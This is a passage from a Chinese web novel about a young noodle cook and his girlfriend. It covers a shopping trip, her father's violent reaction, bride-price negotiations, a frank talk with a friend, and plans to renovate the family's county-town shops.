终于大概弄清楚了,才选了几个比较靠谱的金店和专柜凑近了看。 宁时春本来还以为金戒指特别贵,结果了解之后发现,竟然没有自己想象中那么贵。 一克金子的价格才八十几块钱,不过没包括手工费之类的费用。 孙佳佳看中的金戒指,从一克到六克都有,价格大概是一百多块钱到七百多块钱。 最后孙佳佳只选了一枚三克的戒指,花了三百多一点。 宁时春带了七百多块钱出来玩,买完戒指,钱竟然还剩下大半。 他又问孙佳佳要不要再买点别的,孙佳佳却摇头说不用了,还把戒指先交给他保管说:“我们还没正式订婚,我不能现在就要,知道你有这个心就很好了,你先收着,等我们正式订婚的时候,你再给我戴上。” 其实她是知道,这戒指带回自己家,肯定就不是她的了,还不如让宁时春先收着。 至少他现在满心都是她,肯定不会让她吃亏。 宁时春乐呵呵地点头,小心翼翼地把戒指放进盒子里收起来,又问她要不要再去逛逛,孙佳佳拒绝了。 她知道今天得回去面对家里的狂风暴雨了,但是她不后悔这么做。 宁时春正要点头,带她离开商场,又想起还没给她买衣服,坚持带她去楼上买衣服的地方逛逛。 孙佳佳一看,这商场里一套衣服竟然快比金戒指贵了,说什么都不愿意要。 还是宁时春说出来一趟,连衣服都不给她买,回去他叔叔婶婶会数落他,弟弟妹妹也会笑话他。 一定要她选一件,孙佳佳千挑万选,才选了一件看起来还不错,但价格跟别的衣服比起来,不算贵的红色连衣裙,只花了一百出头。 孙佳佳想着等她跟宁时春结婚的时候,要是家里不愿意花钱给她买结婚的红衣服,她就穿这件也可以。 原本试好衣服后,孙佳佳正要把衣服换下来,穿回自己的衣服。 但是她脱到一半又停住了,重新把裙子穿好,把自己原本的衣服叠起来了。 出去后对售货员说:“可以帮我把吊牌剪掉吗?我想就穿这件裙子回去。” 售货员说:“当然可以,不过需要先付款,我才能帮你把吊牌摘掉。” 宁时春很为她喜欢自己给她买的衣服而高兴,乐颠颠地去付了钱,催着售货员帮她剪吊牌。 两个人回到县城,坐上回镇上的公交车。 车上不少人也是回镇上,看到他们俩,也有常去秋夏美食店吃东西,认识宁时春的人跟他打招呼。 但打招呼时眼神好像怪怪的,还有不少人偷瞄他们后,又转头跟人窃窃私语。 宁时春再迟钝也感觉到有点不对劲了,小声问孙佳佳:“你有没有觉得,好多人都在偷看我们?” 孙佳佳当然知道怎么回事,但是她说:“我也感觉到了,难道是因为我穿的这件裙子?以前我从没穿过这么漂亮的裙子。” 她的衣服几乎全是别人送的旧衣服,只有初中校服和内衣裤是买的。 宁时春看了看穿着红裙子的孙佳佳,觉得她今天比以前更漂亮了,别人可能看的不是裙子,而是她。 “你要是害羞的话,就躲在我身后,我帮你挡着。”宁时春说道。 “好。”她现在也不用顾忌了,直接挎着宁时春的手臂,把头靠在他肩膀上。 宁时春每天炒米粉颠勺,肩膀很宽厚,手臂也特别健壮。 她早就觉得靠起来肯定特别有安全感,今天靠上去后,感觉自己以前想的果然没错。 回镇上的路不太平摊,公交车很颠簸,但她靠在他肩膀上,竟然还睡着了。 车上一直偷瞄他们,然后转过去跟同行人窃窃私语的人,看孙佳佳这么大大方方地靠着宁时春,反而没了那种暗戳戳看好戏的心情。 人家两个年轻人谈恋爱其实也很正常嘛,不过背着家人在外面过夜还是过分了点。 主要是姑娘比较吃亏,如果以后不成的话,这小姑娘以后在镇上可能找不到别的好人家了。 到了地方,车子停了孙佳佳才醒过来。 下车后,有人善意地调侃宁时春:“什么时候请我们喝喜酒啊?” 把宁时春闹了个大红脸,孙佳佳站在宁时春身边低着头很害羞的样子。 倒是宁时春虽然被调侃得很不好意思,但也挠着头很老实地说:“我们还没到领证的年纪,不过如果家里同意提前办酒的话,应该快了。” 他这么实诚,倒是让别人不好意思再继续开他玩笑了。 应付走那些调侃他的人,宁时春对孙佳佳说:“我送你回家吧?” 孙佳佳摇头:“车站离我家又不远,不用送,我昨晚没回去,也没给家里打电话,得先回去跟家里人解释一下,你现在跟着我回去,我爸妈会生气的,等我跟他们说清楚了,叫你去的时候你再去。” “那好吧,这些你带上。”回来之前,他们也在商场买了些东西,有吃的,也有水果。 除了给孙佳佳买了带回去的,宁时春也给家里人买了东西。 这次孙佳佳没拒绝,就这么穿着新裙子,提着东西回去了。 昨天早上看到她出门的街坊,都还记得她昨天出门时穿的什么衣服。 看到她换了一身新的回来,不禁眼神带着隐晦的暧昧面面相觑。 还好事的邻居故意问:“哟,佳佳回来了?从哪儿回来的?” 孙佳佳早预料到这种场景,一点没打怵,笑着说:“是啊,回来了,我从市里回来的。” “你爸妈昨晚说你没回家,你昨晚去哪儿了?这身以前没见你穿过,是新衣服吧?” 孙佳佳还是笑着,直直看着那个人说:“刚才说了,我去市里了呀,这是我对象给我买的衣服,好看吧?” 那人对上孙佳佳的眼神,竟然感觉有点心虚,讪讪地笑了笑说:“好看好看,你对象对你挺好。”然后不说话了。 孙佳佳的家确实离车站不算远,走几分钟就到了。 如果她家里人对她稍微关注一些,昨天肯定能在公交车开走前,发现她在车上。 这天江巧没下地,孙海生也没出去东家逛完西家逛,除了孙佳佳的弟弟跑出去玩了,三个大人都在家里待着,不去找人也不去报警,就这么待在家,等着看孙佳佳今天会不会回家。 孙佳佳回到家的时候正好是中午。 一进门,江巧看到她身上的衣服,心里就是一咯噔,以为女儿真跟人家睡了。 孙海生本来正在吃东西,抬头一看,是孙佳佳,手上的碗就砸过来了。 孙佳佳熟练地往旁边一偏,躲过了那只碗。 孙海生没想到她敢躲开,气得一拍桌子:“你还敢躲!看老子今天怎么收拾你个不要脸的东西!” 他老娘递过来一根细细的竹条:“这个没男人不行的骚货,你不好好打她一顿,她不知道好歹!成天就知道给家里闯祸!” 孙佳佳看了他们一眼,又看向江巧,她妈也是一脸愤怒又恨铁不成钢地瞪着她, 见她看过来还说:“你看我干什么,做出这样的事情,今天我也救不了你!” 眼看那根细细的竹条就要往自己脸上甩,她从小被打到大,知道这种竹条打人最疼。 有时候不小心被抽到一下,都会在皮肤上留下一条红痕,真被这么用力地甩到脸上,破相都有可能。 孙佳佳提着东西扭头就往外跑,一群街坊邻居端着碗在门口看热闹。 这时候,宁时春还走在回去的路上,他打算先去店里帮忙,跟三叔解释一下昨天的事,晚上回家的时候,再把给他妈买的东西带回去。 走着走着,突然听到身后闹哄哄的,回过头一看,竟然是孙佳佳。 她哭着往前跑,她爸拿着棍子在后面追,身后还跟着一群看热闹的人。 他赶紧跑过去救人。 孙佳佳看到宁时春,跑近后直接扑进了他怀里。 跟着来看的街坊,一脸看好戏的表情纷纷看热闹不嫌事大地‘哦哟~“了一声。 江巧看自己女儿大庭广众之下,竟然往男人怀里生扑,恨不得眼睛一黑就要晕倒。 孙海生更是气得失去理智,直接就冲上来,想连宁时春也一起打。 但宁时春以为他想打的是孙佳佳,也生气了。 直接伸手一抓,抓住孙海生的手腕,再一捏。 就听见孙海生‘嗷’地一声,疼得松开了手里抓着的竹条,但他咬牙反手就想用另一只手给宁时春一拳。 宁时春抱着孙佳佳躲开后,再次伸手,竟然抓着孙海生的衣领子,把人提溜起来了。 孙佳佳一看,差点没笑出声来,她急忙把脸埋进宁时春胸口,心想:活该,你也有今天! “嚯!宁老三这侄子也很有一把子力气嘛!”说话的街坊心想,要不是他有那么一个爹,自己都想把女儿嫁给他。 以后家里耕地,岂不是多了个好帮手,保不齐连牛也不用借了。 “这小伙子本身不错,干活勤勤恳恳人也老实,只可惜没摊上个好爹,要是宁老三是他爸,你看孙海生还反不反对把闺女嫁给他。” 有人不屑地说:“孙海生自己不是也进局子里蹲过?他跟人家是大哥不说二哥,两个麻子一样多,谁也别嫌弃谁。” “但人家闺女漂亮啊,不是还有个有钱人想娶,听说愿意给不少彩礼。” “那不就是卖闺女?我昨天见着那个人了,丑得我看一眼晚上都要做噩梦,这么漂亮的姑娘嫁给他,简直就是一朵鲜花插在牛粪上!” “可是人家有钱啊!钱多香啊!” “有钱又怎么的,我就觉得帅小伙更香!有钱也是丑!还矮!一个大男人长得还没我高,跟个半残废似的,以后生出来的小孩要是随了爹,得丑成什么样?” “要是我孩子那么丑,我连奶都不想给他喂!没钱还可以挣,长得又矮又丑,就算成亿万富翁,他有钱就能变得又高又俊吗?” “你这就说得太夸张了,真生了孩子,自家的再丑也不觉得丑,不过有些话确实说得也有点道理,这小伙子现在没钱,但人家跟自己叔叔学手艺,以后未必不能自己挣到钱,这么想想,还是选小伙子好,这姑娘也不傻嘛。” “我看佳佳就是不乐意给那个癞蛤蟆,才想法子跟了宁时春,还闹了这么一出。” “我怎么听我闺女说,人家两个年轻人早就在谈对象了,后来孙海生不知道怎么找到那个有钱的癞蛤蟆,才逼着他们分开。” “还有这回事?那孙海生这做得可不地道,竟然干这种棒打鸳鸯的事,而且他不同意,想另外给闺女找一个,也不找个能看的,真不怪佳佳豁出去了,谈过帅小伙,谁还啃得下那么丑的?” 看热闹的人里,也有宁绍明的发小,看这事扯上了他侄子,赶紧给宁绍明打电话。 宁绍明接到电话,赶忙骑着儿子的自行车赶过来。 赵如月也给王海燕打了电话,通知她赶紧过去。 宁绍明赶到地方的时候,孙海生还跟他们家小夏捏起来玩的西瓜虫一样,在宁时春手上,四肢不断挣扎。 要不是场合不对,他也很想笑出声。 但是作为长辈,他只能一脸严肃地走过去,沉声道:“小春,把人放下来,这么提着人家像什么样子!” “哦。”宁时春手一松,孙海生就一屁股坐在了地上。 他挣扎着起来,还想揍宁时春,宁绍明一只手又把他拦住了:“有什么事,你们两家坐下来好好谈,别一言不合就动手,动手有什么用,能解决问题吗?” 孙海生梗着脖子,想说没什么好谈的。 但是又想到昨晚上的事,昨晚闹了一通也是白闹,一点便宜没占到。 又看看自己那个不知羞的赔钱货!现在还缩在人家怀里,不谈真有可能一分钱都捞不到。 孙海生只能咬牙跟着他们走。 路上路过店里,这会儿正是客人多的时候,刚才宁绍明不在,赵如月只好进去接手厨房的事。 宁时秋在柜台帮客人点单,看到他爸,赶紧喊道:“爸爸,有人点炒米粉,妈妈不会炒,你快回来。” 宁绍明点点头,对宁时春说:“你带着他们去你家吧,店里太忙了,我现在走不开。”然后转身就进店里去了。 宁时春一看,店里这么忙,感觉自己的事耽误了店里的生意,很不好意思,竟然也拉着孙佳佳进去了。 “佳佳,我得去店里帮忙,昨天没赶回来,今早就没能在店里帮忙,现在不能再耽误了。” 孙佳佳愣了一下,很快反应过来:“没事,你去吧,我也可以在店里帮忙,不过我第一次做,还不熟悉,可能动作会比较慢。” “不用怕,你慢慢来就好,我三婶人很好的,有什么不会的可以问她。” 孙佳佳点头:“好。” 宁时春先去洗手放东西了。 赵如月从厨房出来,就看到正在店里帮忙的孙佳佳和傻了眼的孙海生夫妻俩。 她转头又钻进厨房:“不是说,带孙海生一家去大嫂家谈谈吗?人怎么跑店里来了?小春呢?怎么不见他人影。” 宁绍明出来一看,也有点懵:“我刚才不是让小春自己带他们回家,怎么他们也跟着我进来了?” 赵如月问:“你不用去帮着谈?” “不用,他们两家人的事情,我去了能做什么?”宁绍明大概知道孙海生什么心思,但他不可能帮侄子出彩礼。 顶多等侄子结婚的时候,自己这亲叔叔给包个大红包,还有结婚后,给宁时春涨点工资,让他手头宽裕点,好歹能养得起家。 宁绍明继续说:“家里有我爸妈,还有大嫂在呢,大嫂嘴巴那么厉害,肯定不会吃亏,等他们正式谈婚论嫁,要走礼的时候,我们作为亲戚,再去帮忙干活就可以。” 好在这时候宁时春洗好手回来了,宁绍明忙问怎么回事。 听完宁时春的解释,宁绍明也是一言难尽,终身大事当前,竟然还惦记着干活…… 真不知道是该夸他还是该骂他分不清轻重。 “人家姑娘没意见?” 宁时春一脸‘我有个好对象’的得意:“没有,佳佳人很好的,她还说要帮忙,三叔你看,她今天是第一次做这些,是不是也做得挺好?” 赵如月也是真的服了:“你这孩子也太实心眼了,人家姑娘第一次上门,你怎么能让人家干活?你看看人家爸妈都气成什么样了?” “啊?那、那怎么办?” 宁绍明都无奈了:“这边不用你帮忙,我忙得过来,你赶紧把人带回家,让你妈跟他们谈谈你们俩的婚事。” “哦哦!”宁时春忙点头说,“我这就带他们回去。” 赵如月又把他从市里买的东西都拿出来交给他:“你在市里买的东西也带回去,谈完之后,适合送的就送给人家,别让人家空着手回去。” 宁时春道:“有些东西是给丹萍还有小秋小夏买的,我先把那些拿出来吧。” 赵如月:“不用,我听说佳佳家里有个弟弟,你先把东西给他,给自家弟弟妹妹买东西,什么时候买不行?现在最重要的是,先把眼前这事处理好。” 看宁时春带着人走远,赵如月挺担心,转头问宁绍明:“这样真行吗?小春能应付得了?” 宁绍明也担心,但是他知道自己不能去:“他不行也得行,大哥靠不住,有些事他必须自己担起来,要不结什么婚?” 第109章 宁时春满心觉得,自己跟佳佳都在一起了,只要两家人商量好,很快就能结婚。 但是很快,他傍晚就苦着脸回来干活了,边帮忙准备晚上摆摊的东西,还有明天做面包要用的面团,边叹气。 “谈得怎么样?”赵如月真的没办法不八卦,实在是他们俩弄出来的事情,还挺有那么点轰轰烈烈的意思。 宁时春一句话没说完,又是一声接一声地叹气:“唉……三婶,你说想结个婚怎么就那么难呢?唉……佳佳他爸妈不同意是因为我爸在蹲大牢,还有我家没钱,可我妈不同意又是为了什么?她不是一直说,盼着我结婚,给我带孩子吗?唉……” 可他带佳佳一家回去商量的时候,他妈那个样子,完全不是盼着他结婚的表现。 赵如月问:“你妈怎么说的?” 不会真那么彪,直接把昨天跟孙海生老娘吵架时那些话,当着人家姑娘的面说了吧? “她也没说别的,就一直反反复复地说,我和佳佳年纪还小,不用那么着急结婚,等我多攒几年钱再说。” 赵如月心想,看来大嫂也是知道轻重的,明白什么话能说什么话不能说。 小春现在看起来是真喜欢佳佳,他们俩的事大概率会成。 小春又是个憨的,什么都学他三叔,以后可能也会听媳妇儿的话,大嫂要是得罪了儿媳,以后可讨不到好。 之所以会说那样的话,估计是想趁机压彩礼。 果然,就听到宁时春说:“佳佳他爸提出要三万八千八百八十八的彩礼,我妈说家里最多能拿出八千八百八十八,然后就谈不下去了。” 赵如月觉得宁时春的婚事,还有得掰扯。 “你自己是怎么想的?” “我现在没钱给彩礼,家里也确实没钱,如果佳佳她爸妈真要三万八才愿意让她嫁给我,我只能先挣钱,让佳佳多等我几年了。” 宁时春停下手里的活,掰着手指头算:“我算过了,三餐在店里吃,工资不花,全攒下来一年能攒四千块钱。” 在旁边听着的宁时秋惊呼:“那不是要快十年才能攒够三万八?而且还不能生病不能买衣服不能买别的东西,你俩谈十年恋爱,平时不得给对象买东西啊?” 宁时夏听完她哥的话又有了新的问题:“处对象要给对象买东西啊?那我以后不找对象了,我不想给别人花钱。” “这是按照我现在的工资算,等我以后不是学徒了,可以涨工资,用不了那么久,”宁时春笑着说,“小夏也不用担心,你是女孩子,不用给对象买,以后你谈对象,让你对象给你买。” 宁时夏也觉得不行:“我才不白要别人的,那不得欠人家人情吗?” “也不能这么算……”但是该怎么解释,宁时春也解释不出个所以然来。 他总觉得自己说也说不全面,他自己谈恋爱都是半懂不懂的,还是别乱教比较好。 只能说了个万能的糊弄小孩的话:“等你长大就知道了。” 小孩都不爱听这话,宁时夏做了个鬼脸,跑出去找小伙伴玩去了。 说到涨工资,赵如月想起宁绍明跟自己商量的事。 她也觉得宁时春面对彩礼的难题,没想着借钱,而是先想着自己赚钱,还是挺不错的。 干脆那涨工资的事,提前跟宁时春说了:“之前我跟你三叔去市里的时候,你自己一个人在店里干活,感觉能支撑得住吗?” 宁时春点头:“三叔也问过我,我觉得可以,三婶,是不是你们在县城的店修整好了,准备开业,三叔要去那边忙啊?” 赵如月说:“还没那么快,但也是跟县城的分店有关,过段时间,那边要翻修,你三叔肯定得隔三差五地去看看,要不工人可能会糊弄。” 其实赵如月每天也要去县城,提前去一会儿看看也不是不行。 但装修这一行的吧,男的太多了,总觉得女人什么都不懂,看到业主是女的就下意识轻视,总想着忽悠人,沟通起来困难得很,还不如让宁绍明去了。 她继续说道:“估计他到时候忙起来,会顾不上镇上的店,等那时,就得你在店里挑大梁了,他说了,你一个人能行的话,就给你涨工资,县城的店布置好后,他去那边,你也锻炼出来了,镇上的店在你自己开店前也让你负责,到时候还会再涨一次。” 宁时春听了,一扫婚事受挫的沮丧,连连表示自己一定会努力去做:“明天我就去告诉佳佳这个好消息!” 但是冷静下来后,他又觉得自己只有煮米粉和炒米粉、还有店里卖了比较长一段时间的铜锣烧、热狗面包和杯子蛋糕比较好,有点担心别的做不好。 “三叔买了烤箱后,新做那些面包蛋糕,我都还做得不太好,万一做得不如以前好吃,肯定会影响店里的生意。” “这个你不用担心,县城的店开起来前,主要还是你三叔回来做,”赵如月和宁绍明早就想好了解决方法,“等县城的店开起来以后,镇上店里的面包一类的东西,在我们有钱买第二个烤箱,还有你学会做那些面包之前,全都先在县城做好,再让郑师傅帮忙运回来,暂时不在镇上做了。” “这样我就没问题了。”只是煮米粉和炒米粉的话,他非常有信心能够做好。 宁绍明从外面进来,知道赵如月把这事跟宁时春都说了,觉得择日不如撞日:“要不我明天就去处理房子翻修的事?” 赵如月说:“你不得先让小春有个缓冲的时间?” 宁时春倒是觉得自己不需要缓冲的时间了而且他不知道县城的店是他们买的,还以为不管开不开店都要交房租,那还不如早点开。 “县城的铺面有租金,就这么空放着是不是太浪费了?早点装修早点开业,也能早前把房租挣回来。” 既然他这么说,赵如月也不反对了:“也好,这个月也快过完了,下个月开始,给小春涨工资?”她说着看向宁绍明。 “嗯,先涨到八百吧。”宁绍明也不是随便定的价格,他去县城看过,大部分厨师的工资都差不多是这些,而且还是工龄好几年的。 宁时春开开心心地想着,明天去找孙佳佳说这个事。 此时孙佳佳正在朋友家里住着,她爸妈跟宁时春家里谈彩礼的时候,她没站在爸妈那边,回来后,他们就生气了,没让她进门。 这种情况,孙佳佳不是没经历过,从小到大,她都记不清自己被关在门外多少次了。 第一、第二次的时候还会哭喊认错,后来知道哭没用、认错道歉甚至跪下也没用,她就把自己的一些东西放在了好朋友家里。 她最好的朋友父亲早逝,跟妈妈两个人一起住,所以孙佳佳过去一起住也不会不方便。 后来被关在外面,她干脆就去朋友家睡,她妈刚开始还会紧张地出来找。 发现她会去朋友家之后,连她妈也不出来找了。 第二天她回去,家里又跟什么都没发生过一样,照样该干嘛干嘛,没人想过被扔出家门关在门外的人是什么心情。 “佳佳,你真的要嫁给宁时春?”这个朋友初中没读完,就出了社会,染着一头红头发,在镇上也是经常被议论的对象。 她觉得孙佳佳跟宁时春在一起有点可惜:“早知道我应该把小亮介绍给你。” “就是我对象磊哥的手下,不过我担心你会认为我自己找个有排面的,却给你介绍自己对象手下,你会心里不舒服,影响我们的感情,所以才没给你介绍。 早知道你选宁时春这样一个普普通通一点也不酷的厨子,我都不顾忌那些了,别看小亮只是磊哥的收下,但是磊哥手下的其他人也是他的好兄弟,一群人走出去,谁也不敢惹,你不知道那场面多威风! 而且现在磊哥开了个发廊,小亮在发廊干活,一个月底薪加上提成,也有一千出头,给对象做头发还不要钱,这做头发省下来的钱,仔细算一算也不少呢,你看我这个发型,一份没花!” 孙佳佳看向她那红色的大波浪,确实还挺好看的,但是孙佳佳不喜欢折腾头发,也觉得那样不适合自己,就像她想给自己介绍的小亮一样。 “丽丽,谢谢你想着我,我知道你是为我好,但是我还是比较喜欢时春,他对我特别好,有什么好吃的都想着我。” “你呀你,天天就知道吃,小心吃成个肥婆!”丽丽恨铁不成钢地戳她额头,“我听说那个宁时春给他三叔干活,一个月才拿几百块钱,那点钱顶什么用? 你要不喜欢小亮,我还可以给你介绍别的。 我还认识一个开台球馆的,不过那人跟磊哥不太对付,我不给你介绍也是担心,要是他们双方闹起来,我们两个成了不同大哥的女人,就要站在对立面了。” 孙佳佳去县城的次数一个手指头都数得过来,她不知道丽丽平时去县城都做什么,也想不明白为什么开发廊的会跟开台球馆的闹起来。 但是听着丽丽的话,总觉得丽丽的生活还挺动荡,而自己只想要一个安稳的家。 孙佳佳还是摇头,丽丽又说了好几个,仿佛给自己介绍一个她觉得更好的男人,是她的责任一样,她不同意就不罢休。 在丽丽介绍的时候,孙佳佳也知道了,那个开发廊的为什么会跟开台球馆的关系不好,原来是以前开台球馆的抢过开发廊那个人的对象,后来又分了,开发廊那个觉得开台球馆的不珍惜那个女孩。 丽丽说:“那个女孩子是磊哥的初恋,磊哥一直忘不掉她,但是我不在乎,现在我才是磊哥的对象,他的手下们在县城看到我,都得恭恭敬敬地叫我一声大嫂。” 她觉得这样很酷。 孙佳佳在拒绝丽丽介绍的人时,顺便还听了一大堆的县城各个乱七八糟‘势力’的爱恨情仇。 觉得那些男男女女的关系,简直乱成一团麻,但丽丽好像沉浸其中,觉得那样的生活才叫有滋有味。 但是听过那些事,孙佳佳反而更坚定了,一定要嫁给宁时春的心。 她看自己拒绝半天,丽丽还不放弃要给她介绍别的对象。 干脆下了一剂重药,把自己原本不打算告诉任何人的事情,告诉了丽丽:“我跟时春睡在一起了,我已经是他的人了,只能嫁给他。” 丽丽滔滔不绝的嘴巴顿时收声,半晌才找回自己的声音:“你、你竟然那么大胆!” 她现在觉得佳佳虽然看起来是个乖乖女,但内心也挺狂野,不愧是自己的好朋友,也跟自己一样酷! “我也是没办法,你不知道我爸给我找的什么人,那个人除了比时春有钱,别的地方一点都比不上他。” 但丽丽的关注点已经不在孙佳佳的对象上了,也不再想着给她介绍别的对象。 她鬼鬼祟祟地出门看,确认自己妈妈不在,然后把门反锁,跑回床上重新躺下:“以前你没开窍,我都不好意思跟你讨论这个事,没想到你那么猛!” 丽丽说着说着有些忸怩起来:“其实磊哥是第一个也是唯一一个拥有我的人,我十八岁那天,他给我过生日,我房间里这套电视和影碟机音响,就是磊哥那时候送给我的,那天我特别感动,就把自己的第一次给他了,所以哪怕他忘不掉初恋,我也想跟他结婚,你是什么时候跟你家那个,那个的?” “就、就昨晚上……” “什么!”丽丽又从床上猛地坐起来,“你不是来月经了吗?怎么还让他碰你,我告诉你,这样可不行,很容易生病的!” 孙佳佳懵了:“啊?那么严重吗?我真的不知道,现在也没感觉有哪里不舒服啊。” “你现在没有不舒服就行,以后可千万别这样了,来月经的时候坚决不许他跟你那个,知道了吗?” 孙佳佳心有余悸:“知道了,以后肯定不会了。” 丽丽从自己包里拿出一盒碟片:“刚好我房间有电视和影碟机,给你看个好东西,以前你没经历过,我也不好意思带你一起看,只能自己趁我妈不在偷偷躲在自己房间里看。” 孙佳佳疑惑:“看电影吗?”电影有什么不好意思一起看的? 等丽丽把碟片放进去,孙佳佳一开始还没觉得有什么,就是觉得很无聊。 她完全想不明白,怎么会有人拍那么无聊的电影,就两个人在一个房间里说话,还说的日本话,她听不懂一点。 男的还那么丑,女的倒是挺漂亮。 正当她想问丽丽,要不要自己去找宁时春,让他帮忙借几张他三叔家的电影碟片时,电视里那两个人亲起来了,那个男人还在脱那个女人的衣服,揉她的胸。 两个人慢慢地脱光了,又互相吃尿尿的那个地方。 孙佳佳猛地捂住眼睛:“这这这……” 丽丽把她的手扒拉下来:“哎呀,害羞什么,这种造孩子的事,你又不是没经历过,还害羞!” 孙佳佳傻眼了,她是真没经历过。 那天晚上,她就跟宁时春抱在一起睡了一晚上,她是真以为这样就算睡了。 造孩子真的还得这样吗? 孙佳佳看到后面,声音都有点抖:“丽丽,那个女的是不是很疼啊?她怎么一直在那么痛苦地叫。” 原来造孩子这么疼,怪不得以前总听长辈说,要孩子不容易,那么疼,可不是不容易么。 “她不疼,她很舒服,”丽丽听到她这么问,都要怀疑她是真的经历过,还是嫌自己总给她介绍对象太烦了,才那么说。 “你不是经历过吗?怎么还会觉得疼……哦,我知道了,是不是你俩都是第一次,宁时春技术不够好,把你弄疼了? 你等着,我给你拿另一张碟,你带去跟他一起看,你们照着做就不会疼了,其实刚开始的几次是会有那么一点疼的,忍忍就过去了。” 孙佳佳已经红成了一只虾,忙说:“不用不用,你自己留着看就行。” 丽丽不由分说地塞给了她:“怎么不用,他技术不好,以后难受的是你,拿着拿着,不用跟我客气!” 孙佳佳犹豫了一下,还是收下了。 她想起宁时春昨晚的表现,他好像也不知道生小孩要那样做的样子。 只是收下后,要怎么把这个碟片给他看,又成了个问题。 宁时春帮忙做好要摆摊的东西,又做好面团,终于能抽空去找她。 孙佳佳的好朋友丽丽一直看他不太顺眼这事,宁时春也知道,但他没往心里去,因为他知道丽丽对自己对象很好,经常收留她。 宁时春知道这会儿想见孙佳佳,要直接去丽丽家。 不过今天很奇怪,丽丽好像没那么敌视他了,却又用一种很奇怪的、意味深长的眼神看他们。 不等宁时春问,孙佳佳赶紧拉着宁时春往河边走,那边人比较少,适合说话。 宁时春就把这事抛到了脑后,跟孙佳佳说起自己涨工资的事。 孙佳佳也很高兴:“那我明天也去店里帮忙。” 她觉得自己果然没选错,丽丽介绍的那些人再好也不如宁时春踏实。 宁时春迟疑道:“可是我三婶说,你去家里做客,不能让你干活。” “没事的,我们之间现在还需要分得那么清楚吗?” 宁时春想到昨晚,脸又红了:“好、好像确实不用分得那么清楚,在我心里我们已经是一家人了。” “这就对了,”孙佳佳再接再励,“你明天要一个人支撑厨房里的所有事,厨房里的事我也帮不上忙,只能在外面帮忙做点力所能及的事了,这样等以后你自己开店的时候,我也能帮得上你。” 孙佳佳说的话,完全符合宁时春对未来的畅享。 他立刻有些激动地握住孙佳佳的手说:“好!我们一起努力!明天我三叔和三婶都去县城找人修整县城的铺面,你去了有什么不会的,问我妹妹就行,丹萍脾气也挺好的,我会跟她说,让她带带你。” 孙佳佳说去就真的去了,她也不管别人在心里怎么想自己,说她倒贴也罢,脸皮厚也好,只有她知道,自己做的这一切,比在家里累死累活还得不到认可要好多了。 至少宁时春的家人里,除了他妈妈,其他人都没有看不起她。 他三婶看到自己去帮忙,还问她有没有吃早饭,然后不等她回答,就让宁时春给她煮一碗米粉吃。 还问她:“让他给你煮羊肉米粉好吗?” “好,谢谢三婶。”孙佳佳厚着脸皮应下。 她不挑食,早上吃一碗煮米粉,这在她家,是她爸和她弟弟才能有的待遇,她在家只能喝掺少许大米的苞米粥配咸菜。 就这样,多喝一碗,她奶奶都要拿眼睛瞪她。 “别客气,来这里就当在自己家,”赵如月说完对着厨房又说道,“小春,我看佳佳唇色有点苍白,你给佳佳多放点肉,多吃肉补气血。” 厨房里传出宁时春的声音:“好的三婶,我知道了。” 孙佳佳笑笑,没有就这么站着等,十分有眼力劲儿地帮忙收拾桌上客人吃完的碗筷:“这些收拾起来后,要放到哪里?” 赵如月正想说让她不用干这些,坐着等就好。 就听到宁时春说:“三婶你让佳佳做吧,我们都说好了,提前学起来,以后我们开店就不会手忙脚乱的了。” 他这么说,赵如月也不拦着了,给孙佳佳指了指放碗筷的地方,回到后面房间,把刚刚的事告诉他。 然后说道:“我看跟佳佳在一起,小春也成长了不少,也更有担当了,已经开始学想着开店的事了。” 宁绍明听了也觉得欣慰:“他要是真能成长起来,我也就放心了,也不知道他能不能想明白,真的把店开起来后,那些彩礼根本不是个事。” 其实宁绍明也可以提醒宁时春,但他总觉得,上赶着不是买卖,别人教着催着去开,总是不如他自己发自内心地想去做这件事。 赵如月说:“他们俩都还不到二十呢,慢慢来吧。” 宁绍明:“也不是小孩子了,放我们那会儿,有些人孩子都满地乱爬了。” 赵如月心里在想着:等再过十几年,你儿子闺女长大的那个时候,别说二十了,三十还像个孩子的一抓一大把! 她提前给他打预防针,以免闺女这辈子还不想结婚的话,他催婚不成破防:“时代在进步嘛,你总不能拿老一辈的眼光来看年轻人,以前我们爸妈那一代,孩子还能随便生呢,轮到我们又怎么样?” “也是,说来说去,还是我大哥造孽!” “大嫂上次去看过后,回来说什么时候判了吗?我都没来得及问。” “那个事牵扯的人不少,还是跨省的案件,没那么快,还有得等,不过大哥手上的货没卖出去过,应该不涉及到贩。毒,再加上他认罪态度好,还提供了一些线索,命应该是能保住了。” 两人正说着,听到宁时秋喊:“爸爸妈妈,郑阿姨来了!” “来了!” 宁绍明提着赵如月的包走出去,那包里放着卷尺之类的工具。 他们得先去把房子量一下,才知道大概要买多少材料,然后跟工人谈价钱。 到了地方,宁绍明量尺寸,赵如月拿着本子记。 她边记边大概在另一张空白的地方一个简单的平面图。 四个房子都量完,又马不停蹄地去找工人。 在县城没有什么人力市场,很多小工都是蹲在批发市场附近的路边。 没人找他们干活,他们就在批发市场帮人搬货卸货,也有开着三轮车等着帮忙运货的。 但是批发市场也不是时时都有那么多来采购的人需要人帮忙搬运东西。 像赵如月自己家,每次都是包车来的,他们买的东西很多都不算重。 司机会帮忙搬东西,加上她自己和宁绍明力气也不小,每次来两个人足够了,根本用不上雇人。 两人一到批发市场附近小工聚集的地方,还想着先好好看看,一群小工就围了上来,主动问他们是不是要找人干活,然后此起彼伏地喊价,还有越喊越低的趋势。 但是他们找人干活也不是只图价格低,最后找了一对说自己砸墙、砌砖、刷墙、安装修理门窗、铺地砖等等都会的夫妻。 最重要的是,他们竟然还请人把自己做过的活都拍了下来,做成一个册子给找小工的人看,价格也在正常范围内。 赵如月觉得他们对自己的工作还挺花心思,不是那种干一天算一天的人,于是就选了他们。 到了地方,赵如月先拉闸断电,然后把需要砸掉的墙附近的电线,全部暂时改到另一面不砸的墙上。 接着才让他们砸墙。 正好要砸墙的房子有两间,他们还以为是男的负责砸墙,没想到那对小工夫妻俩,问清楚要砸哪里后,检查了一下,就一人轮着一个锤子,分别负责一个房间,同时开工了。 需要砸墙的这两间,选的是只有厨房,没有厕所的两间,一间准备开面包蛋糕店,一间开米粉店。 有厕所没厨房的两间,一间用来开赵如月的维修店,另一间租给纪慧萱。 小房间没必要留下,砸掉,后面的厨房面积太小,不够用,也要砸掉。 厨房的墙砸掉后,得重新再砌一个合适的,面包店和厨房跟米粉店的厨房也有区别。 面包店的厨房更大,还需要弄个让人看到里面的大窗户,米粉店的厨房,窗口就不需要那么大,只要足够传菜就行。 砸下来的砖修整一下,能用的砖就用水泥刮刀修一下,就可以重新利用。 